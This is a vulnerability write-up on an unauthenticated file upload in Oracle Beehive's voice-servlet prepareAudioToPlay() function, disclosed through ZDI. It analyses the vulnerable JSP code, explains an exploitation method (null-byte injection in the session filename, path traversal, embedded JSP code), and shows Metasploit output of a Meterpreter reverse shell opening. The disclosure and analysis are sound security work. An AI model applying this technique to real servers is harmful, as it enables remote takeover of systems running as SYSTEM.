Oracle Beehive prepareAudioToPlay() Function Vulnerability

Description

Oracle Beehive suffers from a vulnerability that allows a remote attacker to upload a malicious file, and execute it under the context of SYSTEM. Authentication is not required to exploit this vulnerability.

The `prepareAudioToPlay()` function found in voice-servlet is meant to be used to prepre for an wav file upload, such as creating the base path, a session file, etc. The session file creation can be abused via the playAudioFile.jsp page to upload anything we want without any security checks.

This bug was found while reviewing mr_me's Oracle Beehive exploit privately submitted to me, which also exploits the same type of problem in the same voice-servlet, but different function (`processEvaluation`). I asked mr_me about the `prepareAudioToPlay()` one, and turns out he already reported it to ZDI, so I took no additional steps for disclosure. I was still credited for the overlapped finding anyway.

This bug is scheduled for public disclosure on Oct 28, 2015 (ZDI-CAN-3004).

Tested & Analyzed Versions

Oracle Beehive 2.0.1.0.0

Code Analysis

The vulnerable function (`prepareAudioToPlay`) can be found at the following location: C:\oracle\product\2.0.1.0.0\beehive_2\BEEAPP\applications\voice-servlet\voice-servlet\prompt-qa\Include.jspf

The Include.jspf file serves more like a library for the whole servlet. First off, it retrieves and initializes the following parameters:

```
// Global parameters
String sessionNumber = request.getParameter("sess");
String recxml        = request.getParameter("recxml");
String wavFile       = request.getParameter("wavfile");
String prevwavFile   = request.getParameter("prevwavfile");
String audiopath     = request.getParameter("audiopath");
String evaluation    = request.getParameter("evaluation");
```

```
  String testaudiopath = "testaudio";
  //
  prevwavFile = prevwavFile != null && prevwavFile.equalsIgnoreCase("null") ?
null :
                prevwavFile;
  // Setup other local variables
  ServletContext context    = pageContext.getServletContext();
  String currDirectory      = context.getRealPath("") + File.separator + "prompt-
qa";
  String resultsDirectory   = currDirectory + File.separator + "results";
  String sessionsDirectory  = currDirectory + File.separator + "sessions";
  String recxmlDirectory    = currDirectory + File.separator + "recxmls";
  String testDirectory      = currDirectory + File.separator + testaudiopath;

  //
  // Styles
  //
  .... skipping styles code because not important for our vulnerability ....

  //
  // Initialize the session number and audio path
  //
  sessionNumber   = generateSessionNumber(sessionNumber, sessionsDirectory);
  audiopath       = audiopath == null ? getAudioPath(recxml) : audiopath;
```

And then here's our vulnerable function. For the arguments required, we have direct control of:

- audiopath - this gives us control of the file path of a fastCopy function.
- recxml - this gives us control of the sess file content.
- wavFile - this gives us control of how the servlet builds the base path.
- sessionNumber - this gives us control of the sess file name.

At the end of the function is the FileOutputStream code we can abuse to upload malicious data to the web server.

```
  public void prepareAudioToPlay (String audiopath,
                                  String recxml,
                                  String wavFile,
                                  String sessionsDirectory,
                                  String sessionNumber,
                                  String currDirectory,
                                  String testDirectory,
                                  String testaudiopath) {
    //
    // Build the base path for the new audio file.
    //
```

```
    if (wavFile.indexOf(File.separator) != -1) {
      String base = wavFile.substring(0, wavFile.indexOf(File.separator));
      File   dir  = new File(testDirectory + File.separator +
                             recxml + File.separator + base);
      dir.mkdirs();
    }
    //
    // Copy the file to test to the testaudio directory and give it a
    // unique name.
    //
    int    index      = 0;
    String newWavFile = wavFile.substring(0,wavFile.length()-4) + "_" + index +
".wav";
    File   fout       = null;
    try {
      fout = new File(testDirectory + File.separator +
                      recxml + File.separator + newWavFile);
      // Generate a unique output file.
      while (fout.exists()) {
        index++;
        newWavFile = wavFile.substring(0,wavFile.length()-4) + "_" + index +
".wav";
        fout = new File(testDirectory + File.separator +
                        recxml + File.separator + newWavFile);

      }
    } catch (Exception e) {}

    File fin  = new File(currDirectory + File.separator +
                         audiopath + wavFile);
    fastCopy(fin, fout);

    //
    // Put the file to play in the session file.
    //
    File             sf  = null;
    FileOutputStream fos = null;
    PrintStream      ps  = null;
    try {
      sf  = new File(sessionsDirectory + File.separator + sessionNumber +
".sess");
      fos = new FileOutputStream(sf, false); // do not append
      ps  = new PrintStream(fos);
      ps.print(testaudiopath + "/" + recxml + "/" + newWavFile);
      ps.close();
```

```
      fos.close();
    } catch (Exception e2) {}
  }
```

Since `prepareAudioToPlay()` is a function, and Include.jspf does not call itself, we need to find another page that does. Our ideal candidate is playAudioFile.jsp, because it calls `prepareAudioToPlay()` as soon as you request it:

```
<%@ include file="Include.jspf"%>
<%
prepareAudioToPlay(audiopath,
                   recxml,
                   wavFile,
                   sessionsDirectory,
                   sessionNumber,
                   currDirectory,
                   testDirectory,
                   testaudiopath);

.... more code below but not so relevant to our bug ....
```

Attacker's Notes

The two most important parameters are `sess` and `recxml` for the `prepareAudioToPlay` function.

Since the `sess` parameter is part of the filename:

```
sf  = new File(sessionsDirectory + File.separator + sessionNumber + ".sess");
```

We can inject a null byte at the end and supply our own file extension to create an arbitrary file type (such as JSP). And then we can traverse our way out to a different directory, somewhere that allows us to call the malicious file with an HTTP request.

The `recxml` parameter is part of the session file content:

```
ps.print(testaudiopath + "/" + recxml + "/" + newWavFile);
```

The `testaudiopath` variable, the slashes, and the `newWavFile` variable are junk to us, but should not affect our malicious code as long as we wrap the code around in a `<% ... %>` block.

Another thing we need is the `wavFile` parameter has to be at least 4 bytes long, otherwise we trigger this bug in the vulnerable function, and our attack fails:

```
String newWavFile = wavFile.substring(0,wavFile.length()-4) + "_" + index +
".wav";
```

Demonstration

Exploit is available as oracle_beehive_prepareaudiotoplay.rb:

```
msf exploit(beehive) > rerun
[*] Reloading module...
[*] Started reverse handler on 192.168.1.64:4444
[*] 192.168.1.109:7777 - Stager name is: blah.jsp
[*] 192.168.1.109:7777 - Executable name is: blah.exe
[*] 192.168.1.109:7777 - Uploading stager...
[*] 192.168.1.109:7777 - Uploading payload...
[*] Sending stage (882688 bytes) to 192.168.1.109
[*] Meterpreter session 7 opened (192.168.1.64:4444 -> 192.168.1.109:2917) at
2015-05-07 02:01:54 -0500
meterpreter >
```